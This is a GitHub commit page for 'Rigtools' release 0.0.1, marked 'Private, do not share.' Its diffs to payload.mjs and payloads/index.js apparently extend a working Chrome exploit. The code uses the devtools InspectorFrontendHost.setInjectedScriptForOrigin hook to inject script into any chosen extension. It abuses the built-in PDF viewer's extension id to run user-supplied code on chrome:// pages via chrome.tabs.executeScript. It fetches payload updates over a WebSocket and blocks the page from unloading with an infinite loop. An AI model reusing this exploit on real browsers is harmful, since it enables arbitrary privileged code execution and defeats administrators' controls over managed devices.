Skip to content

Commit

Permalink
Release 0.0.1
Browse files Browse the repository at this point in the history
Updater, Extension debugging, devtools debugging, chrome url debugging
  • Loading branch information
MunyDev committed May 11, 2024
1 parent f2e4573 commit d167957
Show file tree
Hide file tree
Showing 3 changed files with 89 additions and 43 deletions.
13 changes: 12 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1 +1,12 @@
Extension/Devtools context Javascript execution.
# Rigtools
Extension/Devtools code execution

## Release information
- Release 0.0.1
- This release contains the following things:
- Updater
- Extension debugging
- Devtools debugging
- Chrome url debugging.

## Private, do not share.
33 changes: 29 additions & 4 deletions payload.mjs
Original file line number Diff line number Diff line change
Expand Up @@ -26,9 +26,17 @@


function ui() {
const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai";
var globalUID = 0;
let globalMap = [];
function payload_swamp(w, d) {
const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai"; // Redefinition because we convert this function to a string
if (location.origin.includes("chrome-extension://" + pdfId)) {
chrome.tabs.create({url: "chrome://resources/mojo/mojo/public/js/bindings.js"}, function (x) {
chrome.tabs.executeScript(x.id, {code: atob('%%CHROMEPAYLOAD%%')});
});
return;
}
// console.log(d);
// w.setTimeout(function() {
const blob_url = new Blob(["alert(1)"], { type: "text/html" });
Expand Down Expand Up @@ -91,10 +99,19 @@
<a href="devtools://devtools/bundled/devtools_app.html?experiments=true&ws=%%updaterurl%%">Re-open devtools</a>
<a href="javascript:void(0)" id="updater">Update payload</a>
<a href="javascript:void(0)" id="cleanup">Cleanup and reset for extension</a>
<a href="javascript:void(0)" id="activate">Chrome URLs</a>
`)
document.querySelector('#activate').onclick = function ( ) {
dbgext(false, pdfId);
}
onunload = function () {
while (true);
}
document.close();
document.title = "Dashboard";
document.querySelector('#updater').onclick = function(ev) {
onunload = null;
const ws = new WebSocket("ws://%%updaterurl%%");

ws.onopen = function() {
Expand Down Expand Up @@ -127,17 +144,25 @@
}
}
}
function dbgext(cleanup) {
let x = null;
function dbgext(cleanup, id) {
let x = id;
while (!x) {
x = prompt('Extension id?');
if (x === "cancel") {
return;
}
}
let path = 'manifest.json';
let is_pdf = false;
let injected = payload_swamp.toString();
if (x === pdfId) {
path = "index.html"; // pdf viewer hack
is_pdf = true;
injected = injected.replace('%%CHROMEPAYLOAD%%', btoa(prompt("code to execute!")));
}
const URL_1 = `chrome-extension://${x ??
alert("NOTREACHED")}/manifest.json`;
InspectorFrontendHost.setInjectedScriptForOrigin(new URL(URL_1).origin, `window.cleanup = ()=>{window.parent.postMessage({type: "remove", uid: window.sys.passcode}, '*');} ;onmessage = function (data) {window.sys = data.data; const w = open(origin + '/manifest.json'); w.onload = function () {(${payload_swamp.toString()})(w, data.data)} }//`);
alert("NOTREACHED")}/${path}`;
InspectorFrontendHost.setInjectedScriptForOrigin(new URL(URL_1).origin, `window.cleanup = ()=>{window.parent.postMessage({type: "remove", uid: window.sys.passcode}, '*');} ;onmessage = function (data) {window.sys = data.data; const w = open(origin + '/${path}'); w.onload = function () {(${injected})(w, data.data)} }//`);
const ifr = document.createElement("iframe");
ifr.src = URL_1;
document.body.appendChild(ifr);
Expand Down
86 changes: 48 additions & 38 deletions payloads/index.js
Original file line number Diff line number Diff line change
Expand Up @@ -30,11 +30,10 @@ class DefaultExtensionCapabilities {
`;
updateTabList(tablist, isTabTitleQueryable, tabStatus) {

if (this.disarmed) {
return;
}

if (this.tabListInProgress) {
console.log("In progress tablist building!");
// setTimeout(this.updateTabList.bind(this, tablist, isTabTitleQueryable, tabStatus));
Expand All @@ -43,46 +42,57 @@ class DefaultExtensionCapabilities {
this.tabListInProgress = true;
tablist.innerHTML = "";
const thiz = this;
chrome.tabs.query({}, function (tabInfos) {
tabInfos.forEach(function (info) {
const listItem = document.createElement("li");
listItem.textContent = isTabTitleQueryable
? `${info.title} (${info.url})`
: "(not available)";
const button = document.createElement("button");
button.innerHTML = "Preview";
button.onclick = () => {
thiz.disarm = true;

thiz.previewing = true;

chrome.tabs.update(info.id, {
active: true,
});
setTimeout(function () {
setTimeout(function () {
chrome.tabs.getCurrent(function (tab) {
chrome.tabs.update(tab.id, { active: true });
thiz.disarm = false;
thiz.previewing = false;
chrome.windows.getAll(function (win) {
win.forEach(function (v) {
chrome.tabs.query({windowId: v.id}, function (tabInfos) {
tabInfos.forEach(function (info) {
const listItem = document.createElement("li");
listItem.textContent = isTabTitleQueryable
? `${info.title} (${info.url})`
: "(not available)";
const button = document.createElement("button");
button.innerHTML = "Preview";
button.onclick = () => {
thiz.disarm = true;

thiz.previewing = true;

chrome.windows.update(info.windowId, {
focused: true
}, function () {
chrome.tabs.update(info.id, { active: true });

});
})
}, 100);
};
listItem.appendChild(button);
tablist.appendChild(listItem);
});
thiz.tabListInProgress = false;
if (isTabTitleQueryable) {
tabStatus.style.display = "none";
} else {
tabStatus.textContent =
"(Some data might not be available, because the extension doesn't have the 'tabs' permission)";
}
window.currentTimeout = setTimeout(function m() {
clearTimeout(window.currentTimeout);

chrome.tabs.getCurrent(function (tab) {
chrome.windows.update(tab.windowId, {
focused: true
}, function () {
chrome.tabs.update(tab.id, { active: true });
thiz.disarm = false;
thiz.previewing = false;
});

});
}, 100);
};
tablist.appendChild(listItem);
tablist.appendChild(button);
});
thiz.tabListInProgress = false;
if (isTabTitleQueryable) {
tabStatus.style.display = "none";
} else {
tabStatus.textContent =
"(Some data might not be available, because the extension doesn't have the 'tabs' permission)";
}
});
})
});
}
activate() {

document.body.innerHTML += DefaultExtensionCapabilities.template;
document.body.querySelectorAll("button").forEach(function (btn) {
btn.onclick = this.onBtnClick_.bind(this, btn);
Expand Down

0 comments on commit d167957

Please sign in to comment.